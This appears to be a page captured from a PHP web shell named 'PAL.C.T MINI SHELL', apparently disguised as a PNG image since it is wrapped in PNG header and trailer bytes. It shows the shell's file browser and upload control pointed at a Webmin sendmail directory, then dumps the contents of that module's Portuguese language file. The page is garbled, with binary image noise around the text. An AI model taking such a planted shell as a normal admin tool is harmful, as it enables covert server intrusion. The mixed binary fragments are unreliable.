php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sendmail/lang/
upload
files >> //usr/libexec/webmin/sendmail/lang/pt.auto

index_epath=O executável sendmail $1 não está instalado no seu sistema. Talvez sua <a href='$2'>configuração do módulo</a> esteja incorreta ou o sendmail não esteja instalado.
index_version2=Versão do Sendmail $1, configuração $2 
index_xversion=Versão do Sendmail $1 
index_version=Configuração do Sendmail $1 
index_sendmail=Enviar correio

opts_blame=Opções de segurança de arquivo
opts_selected=Selecionado ..
opts_dmode=Modo de entrega
opts_background=fundo
opts_queue-only=Apenas fila
opts_interactive=Interativo
opts_deferred=Diferido
opts_gecos=Aceitar correio para os nomes reais dos usuários?
opts_hops=Contagem máxima de saltos de correio
opts_daemon=Opções de porta SMTP
opts_maxbad=Máximo de destinatários inválidos
opts_maxrcpt=Número máximo de destinatários por mensagem
opts_below=Inserido abaixo ..
opts_qso=Classifique a fila de mensagens por
opts_priority=Prioridade
opts_host=nome de anfitrião
opts_time=Hora recebida

aliases_enofile=Nenhum arquivo de alias é definido na sua configuração do Sendmail
aliases_type5=Arquivo de resposta automática $1 
aliases_type6=Aplicar arquivo de filtro $1 
aliases_toomany=Existem muitos apelidos de correio no seu sistema para serem exibidos nesta página.
aliases_go=Encontre aliases correspondentes:
aliases_delete=Excluir aliases selecionados

aform_ecannot=Você não tem permissão para editar este alias
aform_type5=Resposta automática do arquivo
aform_type6=Aplicar arquivo de filtro
aform_file=Adicionar ao arquivo de aliases
aform_afile=Editar ..
aform_return=pseudônimo
aform_cmt=Descrição

afile_title=Editar arquivo de endereço
afile_desc=Use a área de texto abaixo para editar os endereços no arquivo $1.
afile_efile=Você não tem permissão para editar $1.
afile_undo=Desfazer mudanças
afile_ewrite=Falha ao gravar no arquivo de endereços : $1 

ffile_title=Editar arquivo de filtro
ffile_desc=Use o formulário abaixo para configurar as regras de filtro no arquivo $1.
ffile_efile=Você não tem permissão para editar $1.
ffile_line=Se o campo $1 $2 $3, encaminhar para $4 
ffile_from=a partir de
ffile_to=para
ffile_subject=sujeito
ffile_cc=CC
ffile_body=corpo
ffile_what0=não corresponde
ffile_what1=partidas
ffile_other=Caso contrário, encaminhar para $1 
ffile_err=Falha ao salvar o arquivo de filtro
ffile_ematch=Falta partida
ffile_eaction=Endereço de encaminhamento ausente

rfile_title=Editar arquivo de resposta automática
rfile_desc=Use a área de texto abaixo para editar a mensagem de resposta automática em $1. A mensagem pode conter as macros $SUBJECT, $FROM, $TO, $DATE e $BODY que serão expandidas quando a resposta automática for ativada.
rfile_desc2=Você também pode definir cabeçalhos de email que adicionem ou substituam os padrões usados na resposta automática, colocando linhas como: <br><tt> De: foo@bar.com </tt><br> <tt>Assunto: Em férias</tt> <br> na parte superior da mensagem, separado do corpo por uma única linha em branco.
rfile_efile=Você não tem permissão para editar $1.
rfile_undo=Desfazer mudanças
rfile_replies=Controlar respostas para evitar loops de correio?
rfile_none=Não
rfile_file=Sim, usando o arquivo de log
rfile_period=Intervalo mínimo entre respostas
rfile_default=Padrão (1 hora)
rfile_secs=segundos
rfile_ereplies=Arquivo de log de rastreamento de resposta ausente
rfile_eperiod=Número de segundos ausente ou inválido entre as respostas
rfile_no_autoreply=Não envie respostas automáticas para
rfile_no_regexp=Não envie respostas automáticas para mensagens correspondentes a regexps
rfile_from=De: endereço para resposta
rfile_auto=Automático (com base no endereço do destinatário)
rfile_efrom=Endereço ausente de:
rfile_fromdesc=Um endereço De: sempre deve ser especificado sempre que possível, pois o método automático pode não ser confiável.

asave_etype5=O arquivo de resposta automática '$1' não é válido
asave_etype6=O arquivo de filtro '$1' não é válido
asave_esame=Você só pode criar um alias com o mesmo nome que seu login no webmin

adelete_err=Falha ao excluir aliases
adelete_enone=Nenhum selecionado
adelete_ecannot=Você não tem permissão para excluir o alias $1 

masq_ndomains=Domínios a não mascarar

virtusers_efeature=Sua configuração do sendmail não tem o recurso de mapeamento de endereço (<tt>virtuser</tt>) ativado. <a href='$1'>Clique aqui</a> para configurar os recursos do sendmail.
virtusers_createfile=Ou se esse recurso acabou de ser ativado, <a href='$1'>clique aqui</a> para criar o arquivo.
virtusers_cmt=Descrição
virtusers_toomany=Existem muitos mapeamentos de endereço em seu sistema para serem exibidos nesta página.
virtusers_go=Encontre mapeamentos de endereços correspondentes:
virtusers_delete=Excluir mapeamentos de endereços selecionados

vform_msg=mensagem
vform_cmt=Descrição
vform_err_nouser=O usuário não existe
vform_err_nohost=Esse host não existe
vform_err_unavailable=Indisponível
vform_err_tempfail=Falha temporária
vform_err_protocol=Erro de protocolo
vform_end=Mover para o fim

vsave_esame=Você só pode criar mapeamentos de endereço para seu nome de usuário

vdelete_err=Falha ao excluir mapeamentos de endereço
vdelete_ecannot=Você não tem permissão para excluir o mapeamento para $1 

mailers_efeature=Sua configuração do sendmail não tem o recurso de roteamento de domínio (<tt>mailertable</tt>) ativado. <a href='$1'>Clique aqui</a> para configurar os recursos do sendmail.
mailers_desc3=Você também deve ter uma entrada na lista de <a href='$1'>domínios de retransmissão</a> para cada domínio também.
mailers_delete=Excluir rotas de domínio selecionadas

mform_host2=Host ou domínio
mform_domain2=Todos os hosts no domínio
mform_domain3=Domínio e todos os seus hosts

mdelete_err=Falha ao excluir o roteador de domínio
mdelete_ecannot=Você não tem permissão para excluir a rota para $1 

generics_efeature=Sua configuração do sendmail não tem o recurso de mapeamento de endereço de saída (<tt>genéricos</tt>) ativado. <a href='$1'>Clique aqui</a> para configurar os recursos do sendmail.
generics_toomany=Existem muitos endereços de saída em seu sistema para exibir nesta página.
generics_go=Encontre endereços de saída correspondentes:
generics_delete=Excluir endereços de saída selecionados

gsave_ecannot3=Você não tem permissão para salvar este endereço de saída
gsave_ealready=Já existe um mapeamento de endereço de saída para '$1'

gdelete_err=Falha ao excluir mapeamentos de endereço de saída
gdelete_ecannot=Você não tem permissão para excluir o mapeamento para $1 

domains_efeature=Sua configuração do sendmail não tem o recurso de mapeamento de domínio (<tt>domaintable</tt>) ativado. <a href='$1'>Clique aqui</a> para configurar os recursos do sendmail.
domains_delete=Excluir mapeamentos de domínio selecionados

dsave_ealready=Já existe um mapeamento de domínio para '$1'

ddelete_err=Falha ao excluir mapeamentos de domínio
ddelete_ecannot=Você não tem permissão para excluir o mapeamento para $1 

access_efeature=Sua configuração do sendmail não tem o recurso de controle de spam (<tt>access_db</tt>) ativado. <a href='$1'>Clique aqui</a> para configurar os recursos do sendmail.
access_toomany=Existem muitas regras de controle de spam em seu sistema para serem exibidas nesta página.
access_go=Encontre regras de controle de spam correspondentes:
access_delete=Excluir regras de controle de spam selecionadas

sform_tag=Jogo contra
sform_tag_=Tudo
sform_tag_from=A partir do endereço
sform_tag_to=Endereçar
sform_tag_connect=Informações de conexão
sform_tag_spam=Informações sobre spam

ssave_ealready=Já existe uma regra de controle de spam para '$1'
ssave_ecannot2=Você não tem permissão para salvar esta regra de controle de spam

sdelete_err=Falha ao excluir regras de controle de spam
sdelete_ecannot=Você não tem permissão para excluir a regra para $1 

mailq_count=$1 mensagens
mailq_size=Tamanho
mailq_cc=Cc
mailq_subject=Sujeito
mailq_dir=Diretório
mailq_delete=Excluir mensagens selecionadas
mailq_locked=Mesmo se bloqueado
mailq_flush=Fila de Correspondência
mailq_flushsel=Liberar mensagens selecionadas
mailq_flushdesc=Clique neste botão para forçar a entrega imediata de todas as mensagens na fila e exibir os resultados.
mailq_flushquar=Fila em quarentena nivelada
mailq_flushquardesc=Clique neste botão para forçar a entrega de apenas mensagens em quarentena na fila.
mailq_search=Encontre mensagens na fila onde
mailq_quar=Em quarentena
mailq_refresh=Atualizar fila de correio
mailq_refreshdesc=Recarregue esta página para mostrar o estado atual da fila de mensagens.

flushq_desc2=Forçando a tentativa de entrega de $1 mensagens selecionadas.
flushq_ecannot=Você não tem permissão para liberar a fila de email

searchq_title=Resultados da pesquisa na fila
searchq_none=Nenhuma mensagem na fila encontrada.

delq_enone=Nenhuma mensagem para excluir selecionada
delq_titles=Exclusão de mensagens
delq_file=Excluindo o arquivo de mensagens $1 ..
delq_efile=nome de arquivo inválido!
delq_egone=já excluído ou entregue
delq_elocked=bloqueado para envio
delq_ok=excluído ok
delq_title=Apagar mensagem
delq_force=Forçar exclusão de qualquer maneira
delq_ecannot2=você não pode excluir esta mensagem
delq_rusure=Tem certeza de que deseja excluir as $1 mensagens em fila selecionadas?
delq_confirm=Apagar mensagens

boxes_sent=Correspondência enviada
boxes_toomany=Existem muitos usuários no seu sistema para listar todas as caixas de correio.
boxes_go=Exibir correio para o usuário:

mail_bcc=Cco
mail_pri=Prioridade
mail_highest=Altíssima
mail_high=Alto
mail_normal=Normal
mail_low=Baixo
mail_lowest=Mais baixo
mail_for2=Para o usuário $1 
mail_sent=Na lista de emails enviados
mail_size=Tamanho
mail_delete=Excluir
mail_pos=Mensagens $1 a $2 de $3 
mail_none=Esta caixa de correio não possui mensagens
mail_euserexists=Este usuário Unix não existe
mail_all=Selecionar tudo
mail_invert=Seleção invertida
mail_search=Encontre mensagens onde
mail_body=Corpo
mail_match=partidas
mail_ok=Procurar
mail_nonefrom=Nenhum
mail_mark=Marca como:
mail_mark0=Não lida
mail_mark1=Ler
mail_mark2=Especial
mail_forward=frente
mail_move=Mover para:
mail_copy=Copiar para:
mail_rfc=Da linha
mail_eexists=A mensagem não existe mais!

view_desc2=Mensagem $1 para o usuário $2 
view_desc3=Mensagem $1 
view_sent=Mensagem $1 na lista de emails enviados
view_body=Mensagem de texto
view_allheaders=Ver todos os cabeçalhos
view_noheaders=Exibir cabeçalhos básicos
view_enew=Editar como novo
view_flush=Rubor
view_print=Impressão
view_strip=Remover anexos
view_mark=Marcar a mensagem como:
view_mark0=Não lida
view_mark1=Ler
view_mark2=Especial
view_return=email original
view_sub=E-mail anexo
view_egone=Esta mensagem não existe mais
view_afile=Nome do anexo
view_atype=Tipo de anexo
view_aname=Acessório
view_asize=Tamanho do arquivo

enew_title=Editar email
reply_mailforward=Mensagens encaminhadas
reply_body=Mensagem de texto

send_efrom=Endereço ausente de
send_esmtp=O comando SMTP $1 falhou : $2 
send_efile=O arquivo anexado $1 não existe
send_eattach=Os anexos não podem totalizar mais que $1 kB de tamanho.
send_eperms=O usuário $1 não pode ler $2 
send_eperms2=Você não tem permissão para enviar o arquivo $1 
send_epath=O executável Sendmail $1 não existe.

delete_title=Excluir email
delete_rusure=Tem certeza de que deseja excluir as $1 mensagens selecionadas de $2 ? Isso pode levar algum tempo para um arquivo de mensagens grande. Até a exclusão terminar, nenhuma outra ação deve ser executada.
delete_rusure2=Tem certeza de que deseja excluir esta mensagem de $1 ? Isso pode levar algum tempo para um arquivo de mensagens grande. Até a exclusão terminar, nenhuma outra ação deve ser executada.
delete_ok=Excluir agora
delete_ecannot=Agora você tem permissão para excluir e-mails deste usuário
delete_enone=Nenhum email selecionado para excluir
delete_emnone=Nenhum email selecionado para marcar
delete_efnone=Nenhum email selecionado para encaminhar
delete_emoveuser=O usuário para o qual mover o correio não existe
delete_emovecannot=Você não tem permissão para mover e-mails para o usuário especificado
delete_emovenone=Nenhum email selecionado para mover
delete_nobutton=Nenhum botão clicado

search_title=Procurar Resultados
search_ecannot=Você não tem permissão para pesquisar o email deste usuário
search_ematch=Você deve digitar o texto para comparar.
search_efield=Você deve selecionar um tipo de pesquisa.
search_ewhat=Nenhum texto para comparar com inserido na linha $1 
search_enone=Nenhum critério de pesquisa inserido
search_none=Nenhuma mensagem encontrada.
search_results2=$1 mensagens de email correspondentes a $2 ..
search_results3=$1 mensagens de email que não correspondem a $2 ..
search_results4=$1 mensagens de e-mail correspondentes à sua pesquisa.
search_local=Em pastas locais
search_all=Em todas as pastas
search_eboolean=Pesquisas booleanas usando 'e' e 'ou' não são suportadas

file_title=Editar arquivo Sendmail
file_desc=Use a caixa de texto abaixo para editar manualmente o arquivo Sendmail $1.
file_undo=Desfazer mudanças
file_edit=Editar manualmente $1 
file_ealiases=Você só pode editar um arquivo de alias se tiver acesso a todos os alias.
file_evirtusers=Você só pode editar o arquivo de mapeamentos de endereços se tiver acesso a todos os mapeamentos de endereços.
file_emailers=Você não tem permissão para editar o arquivo de roteamento de domínio.
file_egenerics=Você só pode editar o arquivo de endereços de saída se tiver acesso a todos os endereços de saída.
file_edomains=Você não tem permissão para editar o arquivo de mapeamento de domínio.
file_eaccess=Você não tem permissão para editar o arquivo de controle de spam.
file_ecannot=Você não tem permissão para editar este arquivo
file_emode=Modo desconhecido!
file_err=Falha ao editar o arquivo
file_ealias=Formato inválido para a linha do arquivo de alias : $1 
file_etab=Formato inválido para a linha do arquivo de mapa : $1 

acl_ports=Pode editar portas de rede?
acl_manual=Pode editar arquivos manualmente?
acl_flushq=Pode liberar a fila de correio?
acl_vcatchall=Pode criar mapeamentos catchall?
acl_qdoms=Endereços visíveis na fila
acl_qdomsmode=Endereço da fila a combinar
acl_qdomsmode0=A partir do endereço
acl_qdomsmode1=Endereçar
acl_qdomsmode2=Qualquer um dos endereços
acl_same=Usuário com o mesmo nome
acl_vsame=Começando com nome de usuário @
acl_atype5=Resposta automatica
acl_atype6=Filtrar arquivo
acl_userse=Todos, exceto usuários
acl_usersg=Membros do grupo
acl_from=Endereços permitidos de
acl_any=Qualquer endereço
acl_fdoms=Caixa de correio @ domínios
acl_faddrs=Endereços listados
acl_fdom=Qualquer endereço @ domínio
acl_fromname=Nome real para o endereço De
acl_apath=Limitar arquivos e programa para o diretório
acl_attach=Tamanho total máximo de anexos
acl_sent=Armazenar correio enviado na caixa de correio
acl_canattach=Pode anexar arquivos do lado do servidor?
acl_boxname=Mostrar nome da caixa de correio como
acl_boxname0=Nome do arquivo
acl_boxname1=Nome real do usuário
acl_boxname2=Nada
acl_usersm=Usuários correspondentes
acl_asame=Igual ao nome de usuário
acl_usersu=Com UID na faixa
acl_spam=Endereços de controle de spam que este usuário pode editar

log_opts=Opções de sendmail alteradas
log_ports=Alterar portas de rede
log_alias_create=Alias criado $1 
log_alias_modify=Alias modificado $1 
log_alias_delete=Alias excluído $1 
log_alias_manual=Arquivo de alias editado manualmente $1 
log_cws=Domínios locais alterados
log_masq=Mascaramento de domínio alterado
log_trusts=Usuários confiáveis alterados
log_virtuser_create=Mapeamento de endereço criado $1 
log_virtuser_modify=Mapeamento de endereço modificado $1 
log_virtuser_delete=Mapeamento de endereço excluído $1 
log_virtuser_manual=Arquivo de mapeamento de endereço editado manualmente $1 
log_mailer_create=Roteamento de domínio criado $1 
log_mailer_modify=Roteamento de domínio modificado $1 
log_mailer_delete=Roteamento de domínio excluído $1 
log_mailer_manual=Arquivo de roteamento de domínio editado manualmente $1 
log_generic_create=Endereço de saída criado $1 
log_generic_modify=Endereço de saída modificado $1 
log_generic_delete=Endereço de saída excluído $1 
log_generic_manual=Arquivo de endereço de saída editado manualmente $1 
log_cgs=Domínios de saída alterados
log_domain_create=Mapeamento de domínio criado $1 
log_domain_modify=Mapeamento de domínio modificado $1 
log_domain_delete=Mapeamento de domínio excluído $1 
log_domain_manual=Arquivo de mapeamento de domínio editado manualmente $1 
log_access_create=Controle de spam criado para $1 
log_access_modify=Controle de spam modificado para $1 
log_access_delete=Controle de spam excluído para $1 
log_access_manual=Arquivo de controle de spam editado manualmente $1 
log_relay=Domínios de retransmissão alterados
log_flushq=Fila de email liberada
log_delmailq=Email excluído de $1 da fila
log_delmailqs=$1 e-mails excluídos da fila
log_stop=Daemon sendmail parado
log_start=Daemon sendmail iniciado
log_delmail=$1 mensagens excluídas de $2 
log_movemail=$1 mensagens movidas de $2 para $3 
log_send=Correio enviado para $1 
log_feature_create=Entrada M4 adicionada $1 
log_feature_modify=Entrada M4 modificada $1 
log_feature_delete=Entrada M4 excluída $1 
log_feature_move=Entrada M4 movida $1 
log_build=Configuração de sendmail reconstruída
log_delete_aliases=$1 aliases excluídos
log_delete_virtusers=$1 mapeamentos de endereços excluídos
log_delete_domains=$1 mapeamentos de domínio excluídos
log_delete_accesses=$1 entradas de controle de spam excluídas
log_delete_generics=$1 endereços de saída excluídos
log_delete_mailers=$1 rotas de domínio excluídas

match_from=De: correspondências
match_subject=Assunto: correspondências
match_to=Para: corresponde
match_cc=Cc: correspondências
match_date=Data: correspondências
match_status=Correspondências de status
match_body=Correspondências de corpo
match_size=O tamanho é maior que
match_headers=Correspondência de cabeçalhos
match_=-----------------
match_!from=De: não corresponde
match_!subject=Assunto: não corresponde
match_!to=Para: não corresponde
match_!cc=Cc: não corresponde
match_!date=Data: não corresponde
match_!status=O status não corresponde
match_!body=O corpo não corresponde
match_!size=O tamanho é menor que
match_!headers=Cabeçalhos não correspondem

features_title=Configuração do Sendmail M4
features_desc=Esta página lista as entradas relevantes do arquivo de configuração $1 do Sendmail M4, a partir do qual o arquivo de configuração real $2 é criado.
features_type=Tipo de entrada
features_value=Linha no arquivo de configuração
features_type0=De outros
features_type1=Característica
features_type2=Definir
features_type3=Indefinir
features_type4=Mailer
features_type5=Tipo de SO
features_add=Adicione nova entrada do tipo:
features_build=Reconstruir a configuração do Sendmail
features_buildmsg=Clique neste botão para recriar o arquivo de configuração do Sendmail $1 a partir das entradas de configuração M4 listadas acima.
features_return=Configuração M4
features_emc=O arquivo de configuração do Sendmail M4 $2 não foi encontrado no seu sistema. Talvez não tenha sido instalado (comum para instalações em pacotes do Sendmail) ou o <a href='$1'>configuração do módulo</a> está incorreto.
features_efeatures=O diretório base de configuração do Sendmail M4 $2 não foi encontrado no seu sistema ou não é o diretório correto. Talvez não tenha sido instalado (comum para instalações em pacotes do Sendmail) ou o <a href='$1'>configuração do módulo</a> está incorreto.
features_econfig=Os locais do diretório base do Sendmail M4 e do arquivo de configuração M4 ainda não foram definidos em sua <a href='$1'>configuração do módulo</a>. Se você instalou o Sendmail a partir da fonte, eles devem estar no diretório de origem original.
features_move=Mover
features_manual=Editar arquivo manualmente

feature_add=Adicionar entrada de configuração
feature_edit=Editar entrada de configuração
feature_header=Detalhes da entrada de configuração M4
feature_text=Linha de configuração
feature_feat=Característica
feature_values=Parâmetros
feature_def=Nome da definição
feature_defval=Valor
feature_defmode1=Definido como ..
feature_defmode0=Indefinir
feature_mailer=Método de entrega de correio
feature_ostype=Tipo de sistema operacional
feature_old=Linha de configuração atual
feature_err=Falha ao salvar a entrada de configuração
feature_efeat=O recurso $1 já existe
feature_edef=A definição $1 já existe
feature_emailer=A mala direta $1 já existe
feature_eostype=O tipo de SO já está definido como $1 
feature_manual=Editar arquivo M4
feature_mdesc=A página permite editar manualmente o arquivo de configuração $1 do Sendmail M4. Tenha cuidado, pois nenhuma verificação de sintaxe será feita em suas edições.

feat_access_db=Arquivo de controle de spam
feat_virtusertable=Mapeamento de endereços
feat_mailertable=Roteamento de Domínio
feat_genericstable=Endereços de saída
feat_domaintable=Mapeamento de Domínio

mailer_local=Entrega local do Unix

build_title=Reconstruir a configuração do Sendmail
build_em4=O comando $1 necessário para reconstruir o arquivo de configuração do Sendmail não foi encontrado no seu sistema.
build_ebuild=Falha ao criar a configuração : $1 
build_rusure=Tem certeza de que deseja substituir o arquivo de configuração do Sendmail $1 por uma nova versão criada a partir de $2 ?
build_rusure2=Esteja ciente de que se você tiver feito alterações no Sendmail na página Opções do Sendmail, a reconstrução do arquivo de configuração poderá substituir essas alterações se elas também não tiverem sido feitas no arquivo M4.
build_ok=Sim, substitua-o agora
build_diff=As seguintes alterações serão feitas no seu arquivo de configuração do Sendmail.
build_nodiff=Seu arquivo de configuração do sendmail já está atualizado.

stop_err=Falha ao parar o sendmail
stop_ecannot=Você não tem permissão para parar o sendmail
stop_epid=O Sendmail não parece estar em execução
restart_epids=Não foi possível encontrar os processos do sendmail
restart_ekill=Falha ao sinalizar processos do sendmail : $1 

start_err=Falha ao iniciar o sendmail
start_ecannot=Você não tem permissão para iniciar o sendmail

ports_title=Portas de rede
ports_name=Nome da porta
ports_addr=Ouvir no endereço
ports_all=Todos
ports_ip=IP
ports_family=Protocolo
ports_inet=IPv4
ports_inet6=IPv6
ports_port=Ouça na porta
ports_opts=Opções de porta
ports_mod_a=Exigir autenticação SMTP
ports_mod_b=Use a mesma interface para email de saída
ports_mod_c=Executar canonificação de nome de host
ports_mod_f=Exigir nome completo do host
ports_mod_h=Use o nome da interface para HELO
ports_mod_C=Não execute canonificação de nome de host
ports_mod_E=Não permitir ETRN
ports_def1=Aceitar email na porta 25 e todos os endereços
ports_def0=Aceitar email apenas nas portas abaixo ..
ports_err=Falha ao salvar portas de rede
ports_ecannot=Você não tem permissão para gerenciar portas de rede
ports_ename=Nome de porta inválido na linha $1 
ports_eclash=Nome da porta duplicada na linha $1 
ports_eaddress=Endereço IP ausente ou inválido na linha $1 
ports_eport=Número de porta ausente ou inválido na linha $1 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`